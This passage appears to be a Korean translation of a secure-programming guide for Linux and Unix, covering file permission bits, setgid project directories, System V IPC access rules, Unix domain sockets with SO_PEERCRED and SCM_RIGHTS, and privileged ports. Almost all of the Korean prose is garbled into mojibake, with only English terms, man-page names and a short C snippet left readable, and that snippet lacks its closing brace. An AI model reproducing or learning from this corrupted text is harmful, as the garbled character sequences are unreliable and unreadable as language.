¾î¶² ÆÄÀϽýºÅÛµéÀº ÀÌ·¯ÇÑ Á¢±Ù Á¦¾î °ªµéÁß ÀϺθ¦ Áö¿øÇÏÁö ¾Ê´Â´Ù; ÀÌ·¯ÇÑ ÆÄÀϽýºÅÛÀÌ ¾î¶»°Ô ´Ù·ïÁö´Â °¡¿¡ ´ëÇØ¼­´Â mount(1) À» º¸¶ó. ƯÈ÷ ¸¹Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº MS-DOS µð½ºÅ©¸¦ Áö¿øÇϴµ¥ MS-DOS µð½ºÅ©´Â ÀÌ·¯ÇÑ ¼Ó¼ºµéÀ» °ÅÀÇ Áö¿øÇÏÁö ¾Ê´Â´Ù (ÀÌ·¯ÇÑ ¼Ó¼ºÀ» Á¤ÀÇÇϴ ǥÁØ ¹æ½ÄÀº ¾ø´Ù). ÀÌ·± °æ¿ì À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº Ç¥ÁØ ¼Ó¼ºÀ» ¿¡¹Ä·¹ÀÌÆ®Çϸç (Ưº°ÇÑ µð½ºÅ©»óÀÇ ÆÄÀÏÀ» ÅëÇØ µÉ ¼ö ÀÖ´ÂÇÑ À̵éÀ» ±¸ÇöÇÔÀ¸·Î½á) ÀÌ·¯ÇÑ ¼Ó¼ºÀº ÀϹÝÀûÀ¸·Î mount(1) ¸í·É¿¡ ÀÇÇØ ¿µÇâÀ» ¹Þ´Â´Ù.

À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ º¸´Ù º¹ÀâÇÑ Ã¼°è (POSIX ACL) À» Áö¿øÇÏÁö ¾Ê´Â´Ù¸é ÆÄÀÏ Ãß°¡ ¹× Á¦°Å¸¦ À§Çؼ­´Â ÆÄÀÏÀÇ µð·ºÅ丮 Çã°¡±Ç ºñÆ®¿Í ¼ÒÀ¯ÀÚ¸¸ÀÌ Áß¿äÇÏ´Ù´Â °ÍÀ» ¾ð±ÞÇÏ´Â °ÍÀº Áß¿äÇÏ´Ù. ½Ã½ºÅÛÀÌ ´Ù¸¥ È®ÀåÀ» °®°í ÀÖÁö ¾Ê´Ù¸é, ¸®´ª½º 2.2 ´Â À̸¦ Áö¿øÇÏÁö ¾Ê´Âµ¥, Çã°¡±Ç ºñÆ®°¡ ¼³Á¤µÇÁö ¾ÊÀº ÆÄÀÏÀº ÆÄÀÏÀ» Æ÷ÇÔÇÏ´Â µð·ºÅ丮°¡ Á¦°Å¸¦ Çã¿ëÇÑ´Ù¸é Á¦°ÅµÉ ¼ö ÀÖ´Ù. ¶Ç´Â Á¶»ó µð·ºÅ丮°¡ ÀÚ¼Õ¿¡°Ô ¾î¶² »ç¿ëÀÚ ¶Ç´Â ±×·ì¿¡ ÀÇÇØ º¯°æµÇµµ·Ï Çã¿ëÇÑ´Ù¸é ±× µð·ºÅ丮ÀÇ ¸ðµç ÀÚ¼ÕÀº ±× »ç¿ëÀÚ ¶Ç´Â ±×·ìÀ¸·Î ´ëüµÉ °ÍÀÌ´Ù.

º¸¾È¿¡ ´ëÇÑ IEEE POSIX Ç¥ÁØ ÃʾÈÀº Çã°¡±ÇÀ» °®´Â »ç¿ëÀÚ¿Í ±×·ì ¸ñ·ÏÀ» Áö¿øÇϴ ǥÁØ¿¡ ÀÏÄ¡ÇÏ´Â ACL ¿¡ ´ëÇÑ ±â¹ýÀ» Á¤ÀÇÇϰí ÀÖ´Ù. ºÒÇàÈ÷ ÀÌ´Â ³Î¸® Áö¿øµÇÁö ¾ÊÀ¸¸ç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ µ¿ÀÏÇÑ ¹æ½ÄÀ¸·Î Áö¿øµÇÁö ¾Ê´Â´Ù. ¿¹¸¦ µé¾î ¸®´ª½º 2.2 ´Â ÆÄÀϽýºÅÛ³»¿¡ ACL ¶Ç´Â POSIX ´É·Â °ªÀ» °®°í ÀÖÁö ¾Ê´Ù.

¸®´ª½º ext2 ÆÄÀϽýºÅÛÀÌ ·çÆ® »ç¿ëÀÚ¸¦ À§ÇØ ¼Ò·®ÀÇ °ø°£À» ³²°ÜµÎ°í ÀÖÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ ÀÖ´Ù. ÀÌ´Â ¼­ºñ½º ºÎÀÎ °ø°Ý¿¡ ´ëÇÑ ºÎºÐÀûÀÎ ¹æ¾î·Î »ç¿ëÀÚ°¡ ·çÆ® »ç¿ëÀÚ¿Í °øÀ¯ÇÏ´Â µð½ºÅ©¸¦ °¡µæ ä¿î´Ù°í ÇÒÁö¶óµµ ·çÆ® »ç¿ëÀÚ´Â Áß´ëÇÑ ±â´ÉÀ» À§ÇØ ¼Ò·®ÀÇ °ø°£À» °®´Â´Ù. µðÆúÆ®´Â ÆÄÀϽýºÅÛÀÇ 5% ·Î mke2fs(8) ƯÈ÷ "-m" ¿É¼ÇÀ» º¸¶ó.


3.2.2. »ý¼º½Ã ÃʱⰪ

»ý¼º½Ã ´ÙÀ½ ±ÔÄ¢ÀÌ Àû¿ëµÈ´Ù. ´ëºÎºÐÀÇ À¯´Ð½º ½Ã½ºÅÛ¿¡¼­ create(2) ¶Ç´Â open(2) ¿¡ ÀÇÇØ »õ·Î¿î ÆÄÀϽýºÅÛ °´Ã¼°¡ »ý¼ºµÉ ¶§ FSO ÀÇ UID ¿Í GID ´Â °¢°¢ ÇÁ·Î¼¼½ºÀÇ UID ¿Í GID ·Î ¼³Á¤µÈ´Ù. ¸®´ª½º´Â FSUID È®Àå¶§¹®¿¡ ¾à°£ ´Ù¸£°Ô ÀÛµ¿Çϴµ¥ FSO ÀÇ UID ¿Í GID °¡ °¢°¢ ÇÁ·Î¼¼½ºÀÇ FSUID ¿Í FSGUID ·Î ¼³Á¤µÈ´Ù; ÆÄÀÏÀ» Æ÷ÇÔÇÏ´Â µð·ºÅ丮ÀÇ setgid ºñÆ® ¶Ç´Â ÆÄÀϽýºÅÛÀÇ ``GRPID" Ç÷¡±×°¡ ¼³Á¤µÇ¾î ÀÖ´Ù¸é FSO GID ´Â ½ÇÁ¦ÀûÀ¸·Î ±× µð·ºÅ丮ÀÇ GID ·Î ¼³Á¤µÈ´Ù. ½ã ¼Ö¶ó¸®½º¿Í ¸®´ª½º¸¦ Æ÷ÇÔÇÑ ¸¹Àº ½Ã½ºÅÛµéÀº ¶ÇÇÑ setgid µð·ºÅ丮 È®ÀåÀ» Áö¿øÇϴµ¥ ¾Õ¿¡ ¾ð±ÞÇßµíÀÌ ÀÌ Æ¯º°ÇÑ °æ¿ì´Â ``ÇÁ·ÎÁ§Æ®" µð·ºÅ丮¸¦ Áö¿øÇÑ´Ù; ``ÇÁ·ÎÁ§Æ®" µð·ºÅ丮¸¦ ¸¸µé±â À§Çؼ­´Â ±× ÇÁ·ÎÁ§Æ®¿¡ ´ëÇÑ Æ¯º° ±×·ìÀ» »ý¼ºÇÏ°í ±×·ì ¼ÒÀ¯ÀÇ ÇÁ·ÎÁ§Æ®¸¦ À§ÇÑ µð·ºÅ丮¸¦ »ý¼ºÇÑ ÈÄ µð·ºÅ丮¿¡ setgid ºñÆ®¸¦ ¼³Á¤Çضó: ÀÌ µð·ºÅ丮¿¡ ³õÀÎ ÆÄÀÏÀº ÀÚµ¿ÀûÀ¸·Î ÇÁ·ÎÁ§Æ®¿¡ ÀÇÇØ ¼ÒÀ¯µÈ´Ù. ºñ½ÁÇÏ°Ô »õ·Î¿î µð·ºÅ丮°¡ setgid ºñÆ®°¡ ¼³Á¤µÈ (ÆÄÀϽýºÅÛ GRPID ´Â ¼³Á¤µÇ¾î ÀÖÁö ¾Ê´Ù) µð·ºÅ丮³»¿¡¼­ »ý¼ºµÈ´Ù¸é »õ·Î¿î ÇϺΠµð·ºÅ丮µµ setgid ºñÆ®°¡ ¼³Á¤µÇ¾î ÀÖÀ» °ÍÀÌ´Ù. µû¶ó¼­ ÇÁ·ÎÁ§Æ® ÇϺΠµð·ºÅ丮µµ ºñ½ÁÇÏ°Ô »ç¿ëÇÒ ¼ö ÀÖ´Ù: ¸ðµç ´Ù¸¥ °æ¿ì¿¡ À־ setgid ºñÆ®´Â »õ·Î¿î ÆÄÀÏ¿¡ ´ëÇØ Á¦°ÅµÈ´Ù. ÀÌ´Â ``»ç¿ëÀÚ-°³ÀÎ ±×·ì (user-private group)" ü°è¿¡ ´ëÇÑ ³í¸®Àû ±Ù°Å·Î ·¹µåÇÞ ¹× ´Ù¸¥ ¹èÆ÷¾÷ÀÚ°¡ »ç¿ëÇϰí Àִµ¥ ¸ðµç »ç¿ëÀÚ´Â ´ÜÁö ÀÚ½ÅÀ» ¸â¹ö·Î °®´Â "°³ÀÎ" ±×·ìÀÇ ¸â¹öÀÌ¸ç µû¶ó¼­ µðÆúÆ®·Î ±×·ì¿¡°Ô ÆÄÀÏ Àбâ¿Í ¾²±â ±ÇÇÑÀ» Çã¿ëÇÒ ¼ö ÀÖ´Ù (ÀÚ½ÅÀÇ ±×·ìÀÇ ¸â¹öÀ̱⠶§¹®¿¡). µû¶ó¼­ ÆÄÀÏÀÇ ±×·ì ¸â¹ö½Ê ÀÌ·± ¹æ½ÄÀ¸·Î Àü´ÞµÉ ¶§ Àбâ¿Í ¾²±â ±ÇÇѵµ ¶ÇÇÑ Àü´ÞµÈ´Ù. FSO ±âº» Á¢±Ù Á¦¾î °ª (Àбâ, ¾²±â, ½ÇÇàÇϱâ) Àº ¿äû°ª°ú ÇÁ·Î¼¼½ºÀÇ umask ³í¸®°öÀ¸·ÎºÎÅÍ °è»êµÈ´Ù. »õ·Î¿î ÆÄÀÏÀº ´Ã sticky ¹× setuid ºñÆ®°¡ ¾øÀÌ ½ÃÀ۵ȴÙ.


3.2.3. Á¢±Ù Á¦¾î ¼Ó¼º º¯°æ

chmod(2), fcmod(2) ¶Ç´Â chmod(1) À» ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ ¼Ó¼º°ªÀÇ ´ëºÎºÐÀ» ¼³Á¤ÇÒ ¼ö Àִµ¥ ¶ÇÇÑ chown(1) °ú chgrp(1) À» º¸¶ó. ¸®´ª½º °íÀ¯ÀÇ ¼Ó¼ºÁß ÀϺδ chattr(1) À» ÀÌ¿ëÇÏ¿© Á¶À۵ȴÙ.

¸®´ª½º¿¡¼­´Â ´ÜÁö ·çÆ®¸¸ÀÌ ÁÖ¾îÁø ÆÄÀÏÀÇ ¼ÒÀ¯ÀÚ¸¦ º¯°æÇÒ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. ¾î¶² À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ÀÏ¹Ý »ç¿ëÀÚ°¡ ±×µéÀÇ ÆÄÀÏ ¼ÒÀ¯±ÇÀ» ´Ù¸¥ »ç¿ëÀÚ¿¡°Ô Àü´ÞÇÒ ¼ö ÀÖµµ·Ï Çϴµ¥ ÀÌ´Â ¹®Á¦¸¦ º¹ÀâÇÏ°Ô ÇÏ¸ç ¸®´ª½º¿¡¼­´Â ±ÝÁöµÇ¾î ÀÖ´Ù. ¿¹¸¦ µé¾î, µð½ºÅ© »ç¿ëÀ» Á¦ÇÑÇÏ·Á°í ÇÏ´Â °æ¿ì ÆÄÀÏ ¼ÒÀ¯±Ç º¯°æÀ» Çã¿ëÇÑ´Ù¸é »ç¿ëÀÚµéÀº ÀÓÀÇÀÇ Ä¿´Ù¶õ ÆÄÀÏÀº ½ÇÁ¦·Î ´Ù¸¥ »ç¿ëÀÚÀÇ °ÍÀÌ´Ù¶ó°í Ç×ÀǸ¦ ÇÒ °ÍÀÌ´Ù.


3.2.4. Á¢±Ù Á¦¾î ¼Ó¼º »ç¿ë

¸®´ª½º¿Í ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛÇÏ¿¡¼­ Àбâ¿Í ¾²±â ¼Ó¼º°ªÀº ÆÄÀÏÀÌ ¿­·ÁÁú ¶§¸¸ °Ë»çµÈ´Ù; ¹°·Ð ¸ðµç Àб⠶Ǵ ¾²±â¿¡ ´ëÇØ Àç°Ë»çµÇÁö´Â ¾Ê´Â´Ù. ÆÄÀϽýºÅÛÀº À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ Áß½ÉÀ̱⠶§¹®¿¡ ¾ÆÁ÷µµ ¸¹Àº ¼öÀÇ È£ÃâÀÌ ÀÌ·¯ÇÑ ¼Ó¼ºÀ» °Ë»çÇϴµ¥ ÀÌ·¯ÇÑ È£Ãâ·Î´Â open(2), create(2), link(2), unlink(2), rename(2), mknod(2), symlink(2) ¹× socket(2) µéÀÌ ÀÖ´Ù.


3.2.5. ÆÄÀϽýºÅÛ °èÃþ±¸Á¶

´Ù³â°£¿¡ °ÉÃÄ ¾î¶² ÆÄÀÏÀº ¾î´À °÷¿¡ ³õ¾ÆÇá ÇÑ´Ù´Â ÇÕÀǰ¡ È®¸³µÇ¾î ¿Ô´Ù. °¡´ÉÇÑ °èÃþ±¸Á¶¿¡ Á¤º¸¸¦ ³õÀ» ¶§ ÇÕÀÇµÈ »ç¿ëÀ» µû¸£±â ¹Ù¶õ´Ù. ¿¹¸¦ µé¾î, ÀüüÀûÀÎ ¼³Á¤ Á¤º¸´Â /etc µð·ºÅ丮¹Ø¿¡ ³õ¾Æ¶ó. ÆÄÀϽýºÅÛ °èÃþ±¸Á¶ Ç¥ÁØ (Filesystem Hierarchy Standard, FHS) ´Â ³í¸®Àû ¹æ½ÄÀ¸·Î ÀÌ ÇÕÀǸ¦ Á¤ÀÇÇÏ·Á°í ÇÏ¸ç ¸®´ª½º ½Ã½ºÅÛ¿¡ ³Î¸® »ç¿ëµÇ°í ÀÖ´Ù. FHS ´Â ¸®´ª½º, BSD¿Í ½Ã½ºÅÛ V·ÎºÎÅÍ ¾ò¾îÁø ±³Èưú Á¢±Ù¹æ¹ýÀ» º´ÇÕÇÑ ÀÌÀü ¸®´ª½º ÆÄÀϽýºÅÛ ±¸Á¶ Ç¥ÁØ (Filesystem Structure Standard, FSSTND)ÀÇ °»½ÅÀÌ´Ù. FHS ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://www.pathname.com/fhs ¸¦ º¸¶ó. ÀÌ·¯ÇÑ ÇÕÀÇÀÇ ¿ä¾àÀº ¸®´ª½º¿Í ¼Ö¶ó¸®½º¿¡ ´ëÇØ °¢°¢ hier(5) ¿Í hier(7) ¿¡ ÀÖ´Ù. ¶§¶§·Î ¼­·Î ´Ù¸¥ ÇÕÀǰ¡ ÀÏÄ¡ÇÏÁö ¾Ê´Âµ¥ °¡´ÉÇÑ ÀÌ·¯ÇÑ »óȲÀº ÄÄÆÄÀÏ ¶Ç´Â ¼³Ä¡½Ã¿¡ ¼³Á¤ÇÒ ¼ö ÀÖµµ·Ï ÇØ¶ó.

ÀúÀÚ´Â FHS °¡ ¸®´ª½º ¹èÆ÷ÆÇµé°£ÀÇ È£È¯¼º Áõ´ë ¹× ¼ÒÇÁÆ®¿þ¾î ¾ÖÇø®ÄÉÀ̼ÇÀÌ È£È¯µÇ´Â ¸®´ª½º ½Ã½ºÅÛ¿¡¼­ ÀÛµ¿ÇÒ ¼ö ÀÖµµ·Ï ÀÏ·ÃÀÇ Ç¥ÁØÀ» °³¹ß ¹× ÃËÁøÇÏ´Â Linux Standard Base¿¡ ÀÇÇØ äÅõǾúÀ½À» ƯÈ÷ ¾ð±ÞÇÑ´Ù.


3.3. System V ÇÁ·Î¼¼½º°£ Åë½Å

¸®´ª½º¿Í System V ¸¦ Æ÷ÇÔÇÑ ¸¹Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº System V IPC (Interprocess communication, ÇÁ·Î¼¼½º°£ Åë½Å) °´Ã¼¸¦ Áö¿øÇϴµ¥ ÀÌ´Â ¿ÀÇ ±×·ìÀÇ Single UNIX Specification ¹öÀü 2 [Open Group 1997] ¿¡ ÀÇÇØ ¿ä±¸µÈ´Ù. System V IPC °´Ã¼´Â System V ¸Þ½ÃÁö Å¥, ¼¼¸¶Æ÷¾î ÁýÇÕ ¹× °øÀ¯ ¸Þ¸ð¸® ¼¼±×¸ÕÆ® Áß Çϳª·Î ÀÌ·¯ÇÑ °¢ °´Ã¼´Â ´ÙÀ½ ¼Ó¼ºÀ» °®´Â´Ù:

  • °¢ »ý¼ºÀÚ, »ý¼ºÀÚ ±×·ì ¹× others ¿¡ ´ëÇØ Àбâ¿Í ¾²±â Çã°¡.

  • »ý¼ºÀÚ UID ¿Í GID - °´Ã¼ »ý¼ºÀÚÀÇ UID ¿Í GID

  • ¼ÒÀ¯ UID ¿Í GID - °´Ã¼ ¼ÒÀ¯ÀÚÀÇ UID ¿Í GID (óÀ½¿¡´Â »ý¼ºÀÚ UID ¿Í µ¿ÀÏ)

ÀÌ·¯ÇÑ °´Ã¼¿¡ Á¢±ÙÇÒ ¶§ ´ÙÀ½ ±ÔÄ¢µéÀÌ Àû¿ëµÈ´Ù:

  • ·çÆ® ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º¶ó¸é Á¢±ÙÀÌ Çã°¡µÈ´Ù.

  • ÇÁ·Î¼¼½º EUID °¡ °´Ã¼ÀÇ ¼ÒÀ¯ÀÚ ¶Ç´Â »ý¼ºÀÚÀÇ UID ¶ó¸é Á¢±ÙÀÌ Çã°¡µÇ´ÂÁö¸¦ º¸±â À§ÇØ ÀûÇÕÇÑ »ý¼ºÀÚ Çã°¡±Ç ºñÆ®°¡ °Ë»çµÈ´Ù.

  • ÇÁ·Î¼¼½º EGID °¡ °´Ã¼ÀÇ ¼ÒÀ¯ÀÚ ¶Ç´Â »ý¼ºÀÚÀÇ GID À̰ųª ÇÁ·Î¼¼½º ±×·ìµéÁß ÇÑ ±×·ìÀÇ EGID °¡ °´Ã¼ÀÇ ¼ÒÀ¯ ¶Ç´Â »ý¼º GID ¶ó¸é Á¢±ÙÀ» À§ÇØ ÀûÇÕÇÑ »ý¼ºÀÚ ±×·ì Çã°¡±Ç ºñÆ®°¡ °Ë»çµÈ´Ù.

  • ´Ù¸¥ °æ¿ì¿¡´Â Á¢±ÙÀ» À§ÇØ ÀûÇÕÇÑ ``other" Çã°¡±Ç ºñÆ®°¡ °Ë»çµÈ´Ù.

·çÆ® ¶Ç´Â ¼ÒÀ¯ÀÚÀ̰ųª »ý¼ºÀÚÀÇ EUID ¸¦ °®´Â ÇÁ·Î¼¼½º´Â ¼ÒÀ¯ UID ¹× GID ¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ°í/Àְųª °´Ã¼¸¦ Á¦°ÅÇÒ ¼ö ÀÖ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â ipc(5) ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.


3.4. ¼ÒÄϰú ³×Æ®¿öÅ© ¿¬°á

¼ÒÄÏÀº ƯÈ÷ ³×Æ®¿öÅ©¸¦ ÅëÇÑ Åë½Å¿¡ »ç¿ëµÈ´Ù. ¼ÒÄÏÀº º»·¡ À¯´Ð½º ½Ã½ºÅÛÀÇ BSD °è¿­¿¡¼­ °³¹ßµÇ¾úÁö¸¸ ÀϹÝÀûÀ¸·Î ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ¸·Î À̽İ¡´ÉÇÏ´Ù: ¸®´ª½º¿Í System V º¯Çüµéµµ ¶ÇÇÑ ¼ÒÄÏÀ» Áö¿øÇϴµ¥ ¿ÀÇ ±×·ìÀÇ Single Unix Specification [Open Group 1997] Àº ¼ÒÄÏ Áö¿øÀ» ¿ä±¸Çϰí ÀÖ´Ù. System V ´Â ÀüÅëÀûÀ¸·Î ȣȯµÇÁö ¾Ê´Â ´Ù¸¥ ³×Æ®¿öÅ© Åë½Å ÀÎÅÍÆäÀ̽º¸¦ »ç¿ëÇßÁö¸¸ ¼Ö¶ó¸®½º°°Àº ½Ã½ºÅÛÀÌ ¼ÒÄÏ Áö¿øÀ» Æ÷ÇÔÇÑ´Ù´Â °ÍÀ» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ ÀÖ´Ù. Socket(2) Àº Åë½ÅÀ» À§ÇÑ ³¡Á¡ (endpoint) ¸¦ »ý¼ºÇÏ¿© ÆÄÀÏ¿¡ ´ëÇÑ open(2) °ú À¯»çÇÑ ¹æ½ÄÀ¸·Î ±â¼úÀÚ (descriptor) ¸¦ ¹ÝȯÇÑ´Ù. ¼ÒÄÏ ¸Å°³º¯¼ö´Â ÀÎÅÍ³Ý µµ¸ÞÀÎ (TCP/IP ¹öÀü 4), Novell ÀÇ IPX ¶Ç´Â ``À¯´Ð½º µµ¸ÞÀÎ" °ú °°Àº ÇÁ·ÎÅäÄÝ °è¿­°ú ŸÀÔÀ» ÁöÁ¤ÇÑ´Ù. ¼­¹ö´Â °ðÀ̾î ÀϹÝÀûÀ¸·Î bind(2), listen(2) °ú accept(2) ¶Ç´Â select(2) ¸¦ È£ÃâÇϸç Ŭ¶óÀÌ¾ðÆ®´Â ÀϹÝÀûÀ¸·Î bind(2) (»ý·«µÉ ¼öµµ ÀÖ´Ù) ¿Í connect(2) ¸¦ È£ÃâÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â ÀÌ·¯ÇÑ ·çƾ °¢°¢ÀÇ ¸Ç ÆäÀÌÁö¸¦ º¸¶ó. ¸Ç ÆäÀÌÁö¿¡¼­ ¼ÒÄÏ »ç¿ë¹æ¹ýÀ» ÀÌÇØÇÏ´Â °ÍÀº ¾î·Á¿ï ¼ö Àִµ¥ ÀÌ·¯ÇÑ È£ÃâÀ» ÇÔ²² ¾î¶»°Ô »ç¿ëÇÏ´ÂÁö¸¦ ¹è¿ì·Á¸é Hall "Beej" [1999] ¿Í °°Àº ´Ù¸¥ ³í¹®À» ÂüÁ¶ÇÒ ¼ö ÀÖ´Ù.

``À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏ"Àº ½ÇÁ¦ ³×Æ®¿öÅ© ÇÁ·ÎÅäÄÝÀ» ³ªÅ¸³»Áö´Â ¾Ê´Âµ¥ ´Ù¸¸ µ¿ÀÏ ¸Ó½Å»óÀÇ ¼ÒÄÏ¿¡ Á¢¼ÓÇÒ ¼ö ÀÖ´Ù (Ç¥ÁØ ¸®´ª½º Ä¿³Î¿¡ ´ëÇÑ ÀÌ ±ÛÀ» ÀÛ¼ºÇÏ´Â ½ÃÁ¡¿¡´Â). ½ºÆ®¸²À¸·Î »ç¿ëµÉ ¶§ ÀÌ´Â ³×ÀÓµå ÆÄÀÌÇÁ¿Í ¾ÆÁÖ À¯»çÇÏÁö¸¸ »ó´çÇÑ ÀåÁ¡À» °®°í ÀÖ´Ù. ƯÈ÷ À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀº Á¢¼Ó ÁöÇâÀ¸·Î ¼ÒÄÏÀ¸·ÎÀÇ »õ·Î¿î °¢ Á¢¼ÓÀº ³×ÀÓµå ÆÄÀÌÇÁ¿Í´Â ¸Å¿ì ´Ù¸£°Ô »õ·Î¿î Åë½Å ä³ÎÀ» »ý¼ºÇÑ´Ù. ÀÌ Æ¯¼º¶§¹®¿¡ À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀº ´ë°³ ¸¹Àº Áß¿äÇÑ ¼­ºñ½º¿¡ ´ëÇØ IPC ¸¦ ±¸ÇöÇϱâ À§ÇØ ³×ÀÓµå ÆÄÀÌÇÁ ´ë½Å »ç¿ëµÈ´Ù. ¾ð³×ÀÓµå ÆÄÀÌÇÁ¸¦ °¡Áú ¼ö ÀÖµíÀÌ socketpair(2) ¸¦ »ç¿ëÇÏ¿© ¾ð³×ÀÓµå À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀ» °¡Áú ¼ö Àִµ¥ ÀÌ´Â ¾ð³×ÀÓµå ÆÄÀÌÇÁ¿Í À¯»çÇÑ ¹æ½ÄÀ¸·Î IPC ¿¡ ´ëÇØ À¯¿ëÇÏ´Ù.

À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀº º¸¾È°ú °ü·ÃÇØ¼­ ¸î°¡Áö Àç¹ÌÀÖ´Â ÇÔÃàµÈ Àǹ̸¦ °®°í ÀÖ´Ù. ù° À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀÌ ÆÄÀϽýºÅÛ¿¡ ³ªÅ¸³ª¸ç ÀÌ¿¡ Àû¿ëµÇ´Â stat(2) ¸¦ °¡Áú ¼ö ÀÖÀ½¿¡µµ ºÒ±¸Çϰí open(2) À» »ç¿ëÇØ¼­ À̸¦ ¿­ ¼ö´Â ¾ø´Ù (socket(2) ¿Í friends ÀÎÅÍÆäÀ̽º¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù). µÎ¹øÂ° À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀº ÇÁ·Î¼¼½º°£ ÆÄÀÏ ±â¼úÀÚ¸¦ Àü´ÞÇϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù (±×Àú ÆÄÀÏ ³»¿ëÀÌ ¾Æ´Ñ). ´Ù¸¥ ¸ðµç IPC ¸ÞÄ«´ÏÁò¿¡¼­ »ç¿ëÇÒ ¼ö ¾ø´Â ÀÌ·¯ÇÑ »ö´Ù¸¥ ´É·ÂÀº ¸ðµç ŸÀÔÀÇ Ã¼°è (scheme) ¸¦ ÇØÅ·Çϴµ¥ »ç¿ëµÇ¾î ¿Ô´Ù (±â¼úÀÚ´Â ÄÄÇ»ÅÍ °úÇÐ ºÐ¾ß¿¡¼­ ±âº»ÀûÀ¸·Î ``´É·Â"ÀÇ Á¦ÇÑµÈ ¹öÀüÀ¸·Î »ç¿ëµÉ ¼ö ÀÖ´Ù). ÆÄÀÏ ±â¼úÀÚ´Â sendmsg(2) ¸¦ »ç¿ëÇÏ¿© º¸³»Áö´Âµ¥ msg (¸Þ½ÃÁö) ÀÇ msg_control Çʵå´Â Á¦¾î ¸Þ½ÃÁö Çì´õÀÇ ¹è¿­À» °¡¸®Å²´Ù (msg_controllen Çʵ尡 ¹è¿­¿¡ Æ÷ÇÔµÈ ¹ÙÀÌÆ®¼ö¸¦ ÁöÁ¤ÇØ¾ß ÇÑ´Ù). °¢ Á¦¾î ¸Þ½ÃÁö´Â µ¥ÀÌŸ ´ÙÀ½¿¡ ¿À´Â cmsghdr ±¸Á¶Ã¼·Î ÀÌ ¸ñÀûÀ» À§ÇØ cmsg_type À» SCM_RIGHTS ·Î ¼³Á¤ÇØ¾ß ÇÑ´Ù. ÆÄÀϱâ¼úÀÚ´Â recvmsg(2) ¸¦ ÅëÇØ °Ë»öµÇ¸ç À̶§ºÎÅÍ À¯»çÇÑ ¹æ½ÄÀ¸·Î ÃßÀûµÈ´Ù. ¼ÖÁ÷È÷ ÀÌ Æ¯Â¡Àº ¸Å¿ì »ö´Ù¸£Áö¸¸ ¾Ë¸¸ÇÑ °¡Ä¡°¡ ÀÖ´Ù.

¸®´ª½º 2.2 ´Â À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏ¿¡¼­ ºÎ°¡ÀûÀΠƯ¡À» Áö¿øÇϴµ¥ peer ÀÇ "credentials" (pid, uid ¿Í gid) À» ¾òÀ» ¼ö ÀÖ´Ù. ´ÙÀ½Àº ¿¹Á¦ ÄÚµåÀÌ´Ù:

 /* fd= ½Äº°Çϱ⸦ ¿øÇϴ Ŭ¶óÀÌ¾ðÆ®¿¡ Á¢¼ÓµÈ À¯´Ð½º µµ¸ÞÀÎ ¼ÒÄÏÀÇ ÆÄÀÏ ±â¼úÀÚ */

 struct ucred cr;
 int cl=sizeof(cr);

 if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
   printf("Peer's pid=%d, uid=%d, gid=%d\n",
           cr.pid, cr.uid, cr.gid);

Ç¥ÁØ À¯´Ð½º¿¡¼­´Â 1024 ¹Ì¸¸ÀÇ TCP ¿Í UDP Áö¿ª Æ÷Æ® ³Ñ¹ö·ÎÀÇ ¹ÙÀεùÀº ·çÆ® ±ÇÇÑÀ» °¡Á®¾ß ÇÏ¸ç ¸ðµç ÇÁ·Î¼¼½º´Â 1024 ¶Ç´Â ±× ÀÌ»óÀÇ unbound Æ÷Æ® ³Ñ¹ö¿¡ ¹ÙÀεåÇÒ ¼ö ÀÖ´Â °ÍÀÌ °ü·ÊÀÌ´Ù. ¸®´ª½º´Â ÀÌ °ü·Ê¸¦ ´õ¿í ¸íÈ®ÇÏ°Ô µû¸£´Âµ¥, ¸®´ª½º´Â 1024 ¹Ì¸¸ÀÇ Æ÷Æ® ³Ñ¹ö·Î ¹ÙÀεùÇϱâ À§Çؼ­´Â CAP_NET_BIND_SERVICE ´É·ÂÀ» °®´Â ÇÁ·Î¼¼½º¸¦ ÇÊ¿ä·ÎÇÑ´Ù.; ÀÌ ´É·ÂÀº º¸Åë euid °¡ 0 ÀÎ ÇÁ·Î¼¼½º¸¸ÀÌ °®´Â´Ù. °ü½ÉÀÌ ÀÖ´Ù¸é ¸®´ª½º ¼Ò½º¸¦ »ìÆìº½À¸·Î½á À̸¦ È®ÀÎÇÒ ¼ö Àִµ¥ ¸®´ª½º 2.2.12 ÀÇ /usr/src/linux/net/ipv4/af_inet.c ÆÄÀÏ¿¡¼­ inet_bind() ÇÔ¼ö¸¦ º¸¶ó.


3.5. ½Ã±×³Î

